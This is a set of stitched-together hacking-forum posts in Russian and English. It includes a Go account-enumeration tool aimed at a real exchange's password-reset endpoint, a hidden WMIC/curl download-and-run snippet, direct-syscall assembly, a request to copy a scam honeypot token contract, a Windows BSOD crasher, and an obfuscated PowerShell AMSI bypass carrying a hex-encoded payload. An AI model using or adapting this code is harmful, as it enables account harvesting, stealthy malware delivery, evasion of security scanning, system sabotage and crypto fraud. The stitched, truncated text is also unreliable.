case "socks5":
var auth *proxy.Auth
if proxyInfo.Username != "" && proxyInfo.Password != "" {
auth = &proxy.Auth{User: proxyInfo.Username, Password: proxyInfo.Password}
}
dialer, _ = proxy.SOCKS5("tcp", proxyInfo.IP+":"+proxyInfo.Port, auth, &net.Dialer{Timeout: timeout})
}
// 17
tranport.Dial = dialer.Dial
}
return tranport
}
Для работы с SOCKS используется библиотека golang.org/x/net/proxy. Дилером называют интерфейс для установки сетевых соединений. SOCKS5 поддерживает аутентификацию по логину и паролю в отличие от SOCKS4.
Проверка ответа
Приступаем к финальной части кода. Реализуем функцию emailVerification в service.go, которая будет работать с ответом и проверять валидность электронной почты.
C-like:Copy to clipboard
// 1
func (s *Service) emailVerification(responseBody, email string) error {
// 2
if strings.Contains(responseBody, "success") || strings.Contains(responseBody, "starEmail") {
fmt.Printf("Valid email: %s\n", email)
tools.SaveToFile(email)
return nil
// 3
} else if strings.Contains(responseBody, "User not exist") {
fmt.Printf("Invalid email: %s\n", email)
return nil
} else {
// 4
err := fmt.Errorf("response contains content not expected. email:%s, response body:%s", email, responseBody)
return err
}
}
Перейдем в папку tools и напишем функции для работы с файлами в file.go. Начнем с функции сохранения успешных электронных адресов в файл.
C-like:Copy to clipboard
package tools
import (
"errors"
"log"
"os"
"regchek/config"
"strings"
"sync"
)
// 1
var fileMutex sync.Mutex
// 2
func SaveToFile(email string) {
// 3
fileMutex.Lock()
defer fileMutex.Unlock()
// 4
file, err := os.OpenFile("files/good.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Fatal(err)
}
defer file.Close()
// 5
if _, err := file.WriteString(email + "\n"); err != nil {
log.Fatal(err)
}
}
Функцию для открытия файла вынесем отдельно.
C-like:Copy to clipboard
// 1
func OpenFile(fileName string) []byte {
// 2
file, err := os.ReadFile(fileName)
if err != nil {
log.Fatal(err)
}
return file
}
И тут же напишем код для функции, которая будет считывать прокси из файла и помещать их в переменную в конфиг-файле.
C-like:Copy to clipboard
func GetProxiesFromFile() {
// 1
file, err := os.ReadFile("files/proxies.txt")
if err != nil {
log.Fatal(err)
}
// 2
config.Proxies = strings.Split(string(file), "\n")
// 3
if len(config.Proxies) == 0 {
err := errors.New("no proxies found in the configuration")
log.Fatal(err)
}
}
main.go
Все готово к сборке в единое целое в main.go файле.
C-like:Copy to clipboard
package main
import (
"fmt"
"log"
"regchek/config"
"regchek/service"
"regchek/tools"
"strings"
"sync"
)
func main() {
// 1
routinesNumber := 7
// 2
sc := &service.Service{
URL: "https://gateway1.weex.com/v1/user/forget-pwd/confirm",
}
// 3
emailsFile := tools.OpenFile("files/emails.txt")
emails := strings.Split(string(emailsFile), "\n")
// 4
if len(emails) == 0 {
log.Fatal("emails file is empty")
}
// 5
if config.ProxyType != "none" {
tools.GetProxiesFromFile()
}
// 6
var wg sync.WaitGroup
// 7
emailChan := make(chan string)
// 8
for i := 0; i < routinesNumber; i++ {
wg.Add(1)
go func(goRoutineID int) {
defer wg.Done()
for email := range emailChan {
sc.Checker(email, tools.GetRandomProxy(goRoutineID), goRoutineID)
}
}(i)
}
// 9
for _, email := range emails {
emailChan <- email
}
// 10
close(emailChan)
wg.Wait()
// 11
fmt.Print("Complete!")
}
Рефакторинг кода полностью завершен!
Написание программы, которая реализует атаку на уязвимость перебора учетных записей, завершено. По примеру кода можно реализовать атаку на другие сайты, внеся небольшие изменения. Важно сказать, что данные в примерах и в исходных файлах заменены на моки (речь идет про заголовки).
Буду прощаться и возвращаться в тилимилитрямдию!
Друзья, помогите добить момент. Нужно вызвать curl в скрытом режиме с помощью WMIC
Code:Copy to clipboard
let local_app_data = env::var("LOCALAPPDATA").expect("Failed to get LOCALAPPDATA");
let output = Command::new("wmic")
.creation_flags(0x08000000)
.args(&["process", "call", "create", &format!("curl.exe -L -o {}\\1.exe https://www.7-zip.org/a/7z2201-x64.exe", local_app_data)])
.output()
.expect("Failed to execute wmic command");
This application allows the user to specify any two directory paths, and will merge any files that have the same filename.
Code:Copy to clipboard
package main
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
)
func main() {
var dir1, dir2 string
fmt.Print("Enter the first directory path: ")
fmt.Scanln(&dir1)
fmt.Print("Enter the second directory path: ")
fmt.Scanln(&dir2)
mergedDir := filepath.Join(dir1, "merged")
err := os.MkdirAll(mergedDir, 0755)
if err != nil {
fmt.Printf("Error creating 'merged' directory: %v\n", err)
return
}
files1, err := ioutil.ReadDir(dir1)
if err != nil {
fmt.Printf("Error reading directory %s: %v\n", dir1, err)
return
}
files2, err := ioutil.ReadDir(dir2)
if err != nil {
fmt.Printf("Error reading directory %s: %v\n", dir2, err)
return
}
filePaths := make(map[string][]string)
for _, file := range files1 {
if !file.IsDir() {
fileName := file.Name()
filePath := filepath.Join(dir1, fileName)
filePaths[fileName] = append(filePaths[fileName], filePath)
}
}
for _, file := range files2 {
if !file.IsDir() {
fileName := file.Name()
filePath := filepath.Join(dir2, fileName)
filePaths[fileName] = append(filePaths[fileName], filePath)
}
}
for fileName, paths := range filePaths {
mergedFilePath := filepath.Join(mergedDir, fileName)
mergedContent := []byte{}
for _, path := range paths {
content, err := ioutil.ReadFile(path)
if err != nil {
fmt.Printf("Error reading file %s: %v\n", path, err)
continue
}
mergedContent = append(mergedContent, content...)
}
err := ioutil.WriteFile(mergedFilePath, mergedContent, 0644)
if err != nil {
fmt.Printf("Error writing to file %s: %v\n", mergedFilePath, err)
} else {
fmt.Printf("Merged file %s saved\n", mergedFilePath)
}
}
}
Здравствуйте. при написании такого кода на ФАСМе крейт файл ругается на параметры и выдает C000000D:
Code:Copy to clipboard
format PE64 Console 5.0
entry Start
include 'win64ax.inc'
struct _OBJECT_ATTRIBUTES
Length dd 0
RootDirectory dq 0
ObjectName dq 0
Attributes dd 0
DSecurityDescriptor dq 0
SecurityQualityOfService dq 0
ends
struct _UNICODE_STRING
Length dw 0
MaximumLength dw 0
Buffer dq 0
ends
section '.text' code readable executable
Start:
push rsi
mov rsi, rsp
and rsp, 0FFFFFFFFFFFFFFF0h
sub rsp, 020h
call main
mov rsp, rsi
pop rsi
ret
filename db '\',0,'?',0,'?',0,'\',0,'C',0,':',0,'\',0,'X',0,'e',0,'r',0,'o',0,'x',0,'\',0,'g',0,'a',0,'g',0,'a',0,'.',0,'e',0,'x',0,'e',0,0,0
namelenmax = $-filename
proc main
local objattrproc2:_OBJECT_ATTRIBUTES
local unistring:_UNICODE_STRING
local handlefile dq 0
local iostatus dq 2 dup(0)
mov bx, namelenmax
mov [unistring.MaximumLength], bx
sub bx, 2
mov [unistring.Length], bx
lea rbx, [filename]
mov [unistring.Buffer], rbx
mov [objattrproc2.Length], 48
mov [objattrproc2.Attributes], 0
mov [objattrproc2.RootDirectory], 0
mov [objattrproc2.DSecurityDescriptor], 0
mov [objattrproc2.SecurityQualityOfService],0
lea rbx, [unistring]
mov [objattrproc2.ObjectName], rbx
lea rcx, [handlefile]
mov rdx, 80000h
lea r8, [objattrproc2]
lea r9, [iostatus]
sub rsp, 58h
mov qword [rsp+20h], 0
mov qword [rsp+28h], 0
mov qword [rsp+30h], 0
mov qword [rsp+38h], 1
mov qword [rsp+40h], 0
mov qword [rsp+48h], 0
mov qword [rsp+50h], 0
call NtCreateFile
ret
endp
proc NtCreateFile PHANDLEFileHandle,\
ACCESS_MASKDesiredAccess, \
POBJECT_ATTRIBUTESObjectAttributes, \
PIO_STATUS_BLOCKIoStatusBlock, \
PLARGE_INTEGERAllocationSize, \
ULONGFileAttributes, \
ULONGShareAccess, \
ULONGCreateDisposition, \
ULONGCreateOptions, \
PVOIDEaBuffer, \
ULONGEaLength
mov r10, rcx
mov rax, 55h
syscall
ret
endp
Но при этом код из студии работает хорошо:
C:Copy to clipboard
#include <Windows.h>
#include <stdio.h>
struct IO_STATUS {
ULONG_PTR a;
ULONG_PTR b;
};
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength / 2), length_is((Length) / 2)] USHORT* Buffer;
#else // MIDL_PASS
_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer;
#endif
} UNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
UNICODE_STRING* ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES* POBJECT_ATTRIBUTES;
typedef DWORD(WINAPI* NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, IO_STATUS* IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
int main()
{
IO_STATUS iobl = { 0 };
HANDLE flhnd = 0;
HMODULE nt = LoadLibraryW(L"ntdll.dll");
NtCreateFile crtfl = (NtCreateFile)GetProcAddress(nt, "NtCreateFile");
UNICODE_STRING unistr = { 0 };
unistr.Buffer = (PWSTR)L"\\??\\C:\\Xerox\\gaga.exe";
unistr.Length = 42;
unistr.MaximumLength = 44;
OBJECT_ATTRIBUTES objattr = { 0 };
objattr.Length = sizeof(objattr);
objattr.RootDirectory = 0;
objattr.ObjectName = &unistr;
objattr.Attributes = 0;
objattr.SecurityDescriptor = 0;
objattr.SecurityQualityOfService = 0;
DWORD status = crtfl(&flhnd, WRITE_OWNER, &objattr, &iobl, 0, 0, 0, 1, 0, 0, 0);
printf("%x status", status);
getchar();
return(0);
}
я залез в отладчик и увидел, что компиляторы выравнивают поля в структурах по-
разному, приложу пикчи заполненной структуры unicode_string в фасме и в visual
studio.
почему так? visual studio меняет смещение полей в структуре? как сделать так,
чтобы системный вызов крейт файла возвращал status_success? спасибо за
внимание.
Жетон DOGS можно купить
](https://dedust.io/swap/TON/EQDAfjZraMKUp- aj0AdRIESS_BV1F5jvyW8-zTcrn3-lP5WR?amount=1000000)
Swap any token seamlessly with minimal fees on DeDust.io, a leading decentralized automated market maker (AMM) running on The Open Network. Your ideal trade is just a click away with DeDust.io.
dedust.io
Но продать его не получится ни на DeDust, ни на Ston.fi
Нельзя продать - во время продажи (подтверждения транзакции для продажи)
происходит ошибка, хотя ликвидность вроде как есть
Что это? Ханнипот для арбитражников крипты или просто где-то ошибка какая-то?
](https://app.ston.fi/swap?chartVisible=true&chartInterval=1w&ft=EQDAfjZraMKUp- aj0AdRIESS_BV1F5jvyW8-zTcrn3-lP5WR&tt=TON&fa=228)
DEX for the TON blockchain
app.ston.fi
](https://dedust.io/swap/EQDAfjZraMKUp- aj0AdRIESS_BV1F5jvyW8-zTcrn3-lP5WR/TON?amount=228000000000)
Swap any token seamlessly with minimal fees on DeDust.io, a leading decentralized automated market maker (AMM) running on The Open Network. Your ideal trade is just a click away with DeDust.io.
dedust.io
Когда подтверждаешь продажу, проиходит вот что:
Spoiler
Если нажать подтвердить, транзакция типо подтверждается, но не уходит
Заведомо cтоит "Неуспешно" почему-то и сумма прихода больше, чем показывает на
DEX
Кто разбирается, можете посмотреть смарт-контракт?
](https://tonscan.org/address/EQDAfjZraMKUp- aj0AdRIESS_BV1F5jvyW8-zTcrn3-lP5WR#source)
Discover The Open Network ecosystem with tonscan.org — the simplest way to track transaction history, whales addresses, DApps, network stats, staking pools and more.
tonscan.org
И объяснить что тут не так и как сделать такое же
hello this is my code for run bsod ( blue screen of death ) on windows using winapi
Code:Copy to clipboard
// bsod generator module for windows
package main
import (
"fmt"
"unsafe"
"syscall"
)
// import ndtll.dll functions
var (
ntDll = syscall.MustLoadDLL("ntdll.dll")
NtRaiseHardError = ntDll.MustFindProc("NtRaiseHardError")
RtlAdjustPrivilege = ntDll.MustFindProc("RtlAdjustPrivilege")
)
// crash the system using NtRaiseHardError winapi function
func main() {
fmt.Println("warning running bsod screen crash and process closed !")
POINTER := 0
RtlAdjustPrivilege.Call(uintptr(19), uintptr(1), uintptr(0), uintptr(unsafe.Pointer(&POINTER)))
NtRaiseHardError.Call(uintptr(0xc0000006), uintptr(0), uintptr(0), uintptr(0), uintptr(6), uintptr(unsafe.Pointer(&POINTER)))
}
Hidden content for authorized users.
usage:
python3 powerob.py obfuscate originalfile.ps1 obfuscatedfile.ps1
Какие существуют форматы исполняемых файлов с возможностью сменить иконку(не
только в пределах своего компа) ?
или чем можно заменить .bat кроме .exe.
Спасибо.
Привет. Может кто подсказать хороший курс/книгу/гайд по изучению Solidity?
Ищу кто умеет писать скрипты под NSIS прошу в лс
Code:Copy to clipboard
$rtp = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
$II="Ams";$z=$null;$ll="ams";$IL="tem.Manageme"
$popnoppopUtilsType = [Ref].Assembly.GetType("Sys" + $IL + "nt.Automation." + $II + "iUtils")
$rotrotgogogoField = $popnoppopUtilsType.GetField($ll+"iSes"+"sion", "NonPublic,Static")
$pushpushnopField = $popnoppopUtilsType.GetField($ll+"iC"+"ontext", "NonPublic,Static")
$rotrotgogogoField.SetValue($z, $z)
$pushpushnopField.SetValue($z, [IntPtr]$rtp)
$bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79, 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79, 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x2E, 0x00, 0x52, 0x00, 0x75, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x2E, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x53, 0x00, 0x65, 0x00, 0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x70, 0x00, 0x75, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x63, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x4D, 0x00, 0x79, 0x00, 0x55, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x43, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x7B, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x2F, 0x00, 0x2F, 0x00, 0x20, 0x00, 0x52, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x64, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x2F, 0x00, 0x2F, 0x00, 0x20, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x69, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x20, 0x00, 0x76, 0x00, 0x61, 0x00, 0x72, 0x00, 0x69, 0x00, 0x61, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x69, 0x00, 0x76, 0x00, 0x61, 0x00, 0x74, 0x00, 0x65, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x74, 0x00, 0x20, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x00, 0x72, 0x00, 0x61, 0x00, 0x72, 0x00, 0x79, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x22, 0x00, 0x6B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x22, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x2F, 0x00, 0x2F, 0x00, 0x20, 0x00, 0x46, 0x00, 0x75, 0x00, 0x6E, 0x00, 0x63, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x64, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x5B, 0x00, 0x44, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x49, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x28, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x00, 0x72, 0x00, 0x61, 0x00, 0x72, 0x00, 0x79, 0x00, 0x29, 0x00, 0x5D, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x70, 0x00, 0x75, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x63, 0x00, 0x20, 0x00, 0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x63, 0x00, 0x20, 0x00, 0x65, 0x00, 0x78, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x28, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x68, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x5B, 0x00, 0x44, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x49, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x28, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x00, 0x72, 0x00, 0x61, 0x00, 0x72, 0x00, 0x79, 0x00, 0x29, 0x00, 0x5D, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x70, 0x00, 0x75, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x63, 0x00, 0x20, 0x00, 0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x63, 0x00, 0x20, 0x00, 0x65, 0x00, 0x78, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x4C, 0x00, 0x6F, 0x00, 0x61, 0x00, 0x64, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x00, 0x72, 0x00, 0x61, 0x00, 0x72, 0x00, 0x79, 0x00, 0x28, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x5B, 0x00, 0x44, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x49, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x28, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x00, 0x72, 0x00, 0x61, 0x00, 0x72, 0x00, 0x79, 0x00, 0x29, 0x00, 0x5D, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x70, 0x00, 0x75, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x63, 0x00, 0x20, 0x00, 0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x63, 0x00, 0x20, 0x00, 0x65, 0x00, 0x78, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x62, 0x00, 0x6F, 0x00, 0x6F, 0x00, 0x6C, 0x00, 0x20, 0x00, 0x56, 0x00, 0x69, 0x00, 0x72, 0x00, 0x74, 0x00, 0x75, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x28, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x6C, 0x00, 0x70, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x55, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x64, 0x00, 0x77, 0x00, 0x53, 0x00, 0x69, 0x00, 0x7A, 0x00, 0x65, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6C, 0x00, 0x4E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x20, 0x00, 0x6C, 0x00, 0x70, 0x00, 0x66, 0x00, 0x6C, 0x00, 0x4F, 0x00, 0x6C, 0x00, 0x64, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x2F, 0x00, 0x2F, 0x00, 0x20, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x69, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x20, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x74, 0x00, 0x68, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x70, 0x00, 0x75, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x63, 0x00, 0x20, 0x00, 0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x63, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x4C, 0x00, 0x6F, 0x00, 0x61, 0x00, 0x64, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x00, 0x72, 0x00, 0x61, 0x00, 0x72, 0x00, 0x79, 0x00, 0x41, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x28, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x62, 0x00, 0x72, 0x00, 0x61, 0x00, 0x72, 0x00, 0x79, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x20, 0x00, 0x7B, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x68, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x4C, 0x00, 0x6F, 0x00, 0x61, 0x00, 0x64, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x00, 0x72, 0x00, 0x61, 0x00, 0x72, 0x00, 0x79, 0x00, 0x28, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x62, 0x00, 0x72, 0x00, 0x61, 0x00, 0x72, 0x00, 0x79, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x69, 0x00, 0x66, 0x00, 0x20, 0x00, 0x28, 0x00, 0x68, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x3D, 0x00, 